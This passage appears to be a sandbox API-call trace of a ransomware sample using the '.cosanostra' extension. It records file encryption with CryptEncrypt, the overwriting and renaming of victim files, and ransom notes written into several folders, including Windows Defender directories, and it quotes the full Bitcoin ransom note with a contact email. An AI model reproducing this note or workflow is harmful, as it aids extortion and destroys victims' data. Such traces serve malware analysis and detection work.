nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x2abfb84, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x2abfb84*=0x2ac, lpOverlapped=0x0) returned 1 [0079.331] CloseHandle (hObject=0x154) returned 1 [0079.331] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\#RECOVERY_FILES#.txt" (normalized: "c:\\programdata\\adobe\\acrobat\\10.0\\replicate\\security\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0079.332] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0079.332] WriteFile (in: hFile=0x154, lpBuffer=0x2abf9bf*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x2abfb80, lpOverlapped=0x0 | out: lpBuffer=0x2abf9bf*, lpNumberOfBytesWritten=0x2abfb80*=0x1bf, lpOverlapped=0x0) returned 1 [0079.332] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0079.332] WriteFile (in: hFile=0x154, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x2abfb80, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x2abfb80*=0x2ac, lpOverlapped=0x0) returned 1 [0079.333] CloseHandle (hObject=0x154) returned 1 [0079.333] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abfb20 | out: pbBuffer=0x2abfb20) returned 1 [0079.333] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abfb18*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abfb18*=0x30) returned 1 [0079.333] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata" (normalized: "c:\\programdata\\adobe\\acrobat\\10.0\\replicate\\security\\directories.acrodata"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0079.333] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata") returned 77 [0079.333] StrStrW (lpFirst="directories.acrodata", lpSrch=".txt") returned 0x0 [0079.333] ReadFile (in: hFile=0x154, lpBuffer=0x282078, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x2abfadc, lpOverlapped=0x0 | out: lpBuffer=0x282078*, lpNumberOfBytesRead=0x2abfadc*=0x1df, lpOverlapped=0x0) returned 1 [0079.334] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xfffffe21, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0079.334] WriteFile (in: hFile=0x154, lpBuffer=0x282078*, nNumberOfBytesToWrite=0x1df, lpNumberOfBytesWritten=0x2abfadc, lpOverlapped=0x0 | out: lpBuffer=0x282078*, lpNumberOfBytesWritten=0x2abfadc*=0x1df, lpOverlapped=0x0) returned 1 [0079.336] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.336] WriteFile (in: hFile=0x154, lpBuffer=0x2abfb1c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abfadc, lpOverlapped=0x0 | out: lpBuffer=0x2abfb1c*, lpNumberOfBytesWritten=0x2abfadc*=0x4, lpOverlapped=0x0) returned 1 [0079.336] WriteFile (in: hFile=0x154, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abfadc, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x2abfadc*=0x30, lpOverlapped=0x0) returned 1 [0079.336] CloseHandle (hObject=0x154) returned 1 [0079.357] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata.cosanostra") returned 88 [0079.357] MoveFileW (lpExistingFileName="\\\\?\\C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata" (normalized: "c:\\programdata\\adobe\\acrobat\\10.0\\replicate\\security\\directories.acrodata"), lpNewFileName="\\\\?\\C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata.cosanostra" (normalized: "c:\\programdata\\adobe\\acrobat\\10.0\\replicate\\security\\directories.acrodata.cosanostra")) returned 1 [0079.358] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abfb18 | out: pbBuffer=0x2abfb18) returned 1 [0079.358] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abfb10*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abfb10*=0x30) returned 1 [0079.358] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0079.358] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 79 [0079.358] StrStrW (lpFirst="VisiorWW.msi", lpSrch=".txt") returned 0x0 [0079.358] ReadFile (in: hFile=0x154, lpBuffer=0x27f830, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x2abfad4, lpOverlapped=0x0 | out: lpBuffer=0x27f830*, lpNumberOfBytesRead=0x2abfad4*=0x2800, lpOverlapped=0x0) returned 1 [0079.457] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0079.457] WriteFile (in: hFile=0x154, lpBuffer=0x27f830*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abfad4, lpOverlapped=0x0 | out: lpBuffer=0x27f830*, lpNumberOfBytesWritten=0x2abfad4*=0x2800, lpOverlapped=0x0) returned 1 [0079.457] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.457] WriteFile (in: hFile=0x154, lpBuffer=0x2abfb14*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abfad4, lpOverlapped=0x0 | out: lpBuffer=0x2abfb14*, lpNumberOfBytesWritten=0x2abfad4*=0x4, lpOverlapped=0x0) returned 1 [0079.601] WriteFile (in: hFile=0x154, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abfad4, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x2abfad4*=0x30, lpOverlapped=0x0) returned 1 [0079.601] CloseHandle (hObject=0x154) returned 1 [0081.063] wnsprintfW (in: pszDest=0x2c5758, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi.cosanostra") returned 90 [0081.063] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi.cosanostra" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi.cosanostra")) returned 1 [0081.064] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abfb18 | out: pbBuffer=0x2abfb18) returned 1 [0081.064] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abfb10*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abfb10*=0x30) returned 1 [0081.064] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\XLINTL32.DLL.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\1036\\xlintl32.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0081.067] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\XLINTL32.DLL.trx_dll") returned 72 [0081.067] StrStrW (lpFirst="XLINTL32.DLL.trx_dll", lpSrch=".txt") returned 0x0 [0081.067] ReadFile (in: hFile=0x138, lpBuffer=0x2b3240, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x2abfad4, lpOverlapped=0x0 | out: lpBuffer=0x2b3240*, lpNumberOfBytesRead=0x2abfad4*=0x2800, lpOverlapped=0x0) returned 1 [0081.069] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0081.069] WriteFile (in: hFile=0x138, lpBuffer=0x2b3240*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abfad4, lpOverlapped=0x0 | out: lpBuffer=0x2b3240*, lpNumberOfBytesWritten=0x2abfad4*=0x2800, lpOverlapped=0x0) returned 1 [0081.069] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.069] WriteFile (in: hFile=0x138, lpBuffer=0x2abfb14*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abfad4, lpOverlapped=0x0 | out: lpBuffer=0x2abfb14*, lpNumberOfBytesWritten=0x2abfad4*=0x4, lpOverlapped=0x0) returned 1 [0081.070] WriteFile (in: hFile=0x138, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abfad4, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x2abfad4*=0x30, lpOverlapped=0x0) returned 1 [0081.070] CloseHandle (hObject=0x138) returned 1 [0081.134] wnsprintfW (in: pszDest=0x2c5758, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\XLINTL32.DLL.trx_dll.cosanostra") returned 83 [0081.134] MoveFileW (lpExistingFileName="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\XLINTL32.DLL.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\1036\\xlintl32.dll.trx_dll"), lpNewFileName="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\XLINTL32.DLL.trx_dll.cosanostra" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\1036\\xlintl32.dll.trx_dll.cosanostra")) returned 1 [0081.135] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abfb10 | out: pbBuffer=0x2abfb10) returned 1 [0081.135] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abfb08*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abfb08*=0x30) returned 1 [0081.135] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\WWINTL.REST.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\1036\\wwintl.rest.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0081.135] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\WWINTL.REST.trx_dll") returned 71 [0081.135] StrStrW (lpFirst="WWINTL.REST.trx_dll", lpSrch=".txt") returned 0x0 [0081.135] ReadFile (in: hFile=0x138, lpBuffer=0x2ae1b0, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x2abfacc, lpOverlapped=0x0 | out: lpBuffer=0x2ae1b0*, lpNumberOfBytesRead=0x2abfacc*=0x2800, lpOverlapped=0x0) returned 1 [0081.216] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0081.216] WriteFile (in: hFile=0x138, lpBuffer=0x2ae1b0*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abfacc, lpOverlapped=0x0 | out: lpBuffer=0x2ae1b0*, lpNumberOfBytesWritten=0x2abfacc*=0x2800, lpOverlapped=0x0) returned 1 [0081.216] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.216] WriteFile (in: hFile=0x138, lpBuffer=0x2abfb0c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abfacc, lpOverlapped=0x0 | out: lpBuffer=0x2abfb0c*, lpNumberOfBytesWritten=0x2abfacc*=0x4, lpOverlapped=0x0) returned 1 [0081.233] WriteFile (in: hFile=0x138, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abfacc, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x2abfacc*=0x30, lpOverlapped=0x0) returned 1 [0081.233] CloseHandle (hObject=0x138) returned 1 [0081.263] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\WWINTL.REST.trx_dll.cosanostra") returned 82 [0081.263] MoveFileW (lpExistingFileName="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\WWINTL.REST.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\1036\\wwintl.rest.trx_dll"), lpNewFileName="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\WWINTL.REST.trx_dll.cosanostra" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\1036\\wwintl.rest.trx_dll.cosanostra")) returned 1 [0081.263] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abfb10 | out: pbBuffer=0x2abfb10) returned 1 [0081.264] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abfb08*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abfb08*=0x30) returned 1 [0081.264] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\Temp\\sql453A.tmp" (normalized: "c:\\programdata\\microsoft\\rac\\temp\\sql453a.tmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0081.264] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abfb08 | out: pbBuffer=0x2abfb08) returned 1 [0081.264] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abfb00*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abfb00*=0x30) returned 1 [0081.264] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\Temp\\sql452A.tmp" (normalized: "c:\\programdata\\microsoft\\rac\\temp\\sql452a.tmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0081.265] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\StateData\\#RECOVERY_FILES#.txt" (normalized: "c:\\programdata\\microsoft\\rac\\statedata\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134 [0081.341] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0081.341] WriteFile (in: hFile=0x134, lpBuffer=0x2abf9a3*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x2abfb64, lpOverlapped=0x0 | out: lpBuffer=0x2abf9a3*, lpNumberOfBytesWritten=0x2abfb64*=0x1bf, lpOverlapped=0x0) returned 1 [0081.342] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0081.342] WriteFile (in: hFile=0x134, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x2abfb64, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x2abfb64*=0x2ac, lpOverlapped=0x0) returned 1 [0081.342] CloseHandle (hObject=0x134) returned 1 [0081.342] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abfb00 | out: pbBuffer=0x2abfb00) returned 1 [0081.342] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abfaf8*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abfaf8*=0x30) returned 1 [0081.343] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile43.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile43.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0081.368] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Quarantine\\#RECOVERY_FILES#.txt" (normalized: "c:\\programdata\\microsoft\\windows defender\\quarantine\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x16c [0081.383] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0081.383] WriteFile (in: hFile=0x16c, lpBuffer=0x2abf99b*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x2abfb5c, lpOverlapped=0x0 | out: lpBuffer=0x2abf99b*, lpNumberOfBytesWritten=0x2abfb5c*=0x1bf, lpOverlapped=0x0) returned 1 [0081.383] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0081.383] WriteFile (in: hFile=0x16c, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x2abfb5c, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x2abfb5c*=0x2ac, lpOverlapped=0x0) returned 1 [0081.384] CloseHandle (hObject=0x16c) returned 1 [0081.384] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Results\\#RECOVERY_FILES#.txt" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\results\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xbc [0081.480] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0081.480] WriteFile (in: hFile=0xbc, lpBuffer=0x2abf997*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x2abfb58, lpOverlapped=0x0 | out: lpBuffer=0x2abf997*, lpNumberOfBytesWritten=0x2abfb58*=0x1bf, lpOverlapped=0x0) returned 1 [0081.481] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0081.481] WriteFile (in: hFile=0xbc, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x2abfb58, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x2abfb58*=0x2ac, lpOverlapped=0x0) returned 1 [0081.481] CloseHandle (hObject=0xbc) returned 1 [0081.481] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\#RECOVERY_FILES#.txt" (normalized: "c:\\programdata\\microsoft\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134 [0081.489] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0081.489] WriteFile (in: hFile=0x134, lpBuffer=0x2abf993*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x2abfb54, lpOverlapped=0x0 | out: lpBuffer=0x2abf993*, lpNumberOfBytesWritten=0x2abfb54*=0x1bf, lpOverlapped=0x0) returned 1 [0081.489] lstrlenA 